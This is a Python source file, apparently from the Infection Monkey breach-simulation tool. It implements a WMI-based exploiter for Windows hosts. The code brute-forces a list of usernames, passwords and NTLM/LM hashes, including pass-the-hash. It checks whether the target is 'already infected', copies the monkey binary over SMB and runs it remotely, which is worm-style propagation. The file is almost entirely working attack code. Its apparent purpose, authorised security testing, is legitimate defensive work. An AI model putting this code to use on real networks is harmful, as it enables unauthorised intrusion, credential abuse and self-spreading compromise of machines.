monkey/chaos_monkey/exploit/wmiexec.py

118 lines
5.5 KiB
Python

import logging
import ntpath
import socket
import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
@WmiTools.dcom_wrap
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
try:
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
continue
except socket.error:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
return False
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
fields=("Caption",),
where="Name='%s'" % ntpath.split(src_path)[-1])
if process_list:
wmi_connection.close()
LOG.debug("Skipping %r - already infected", self.host)
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if not remote_full_path:
wmi_connection.close()
return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
ntpath.split(remote_full_path)[0],
None)
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = False
result.RemRelease()
wmi_connection.close()
return success
return False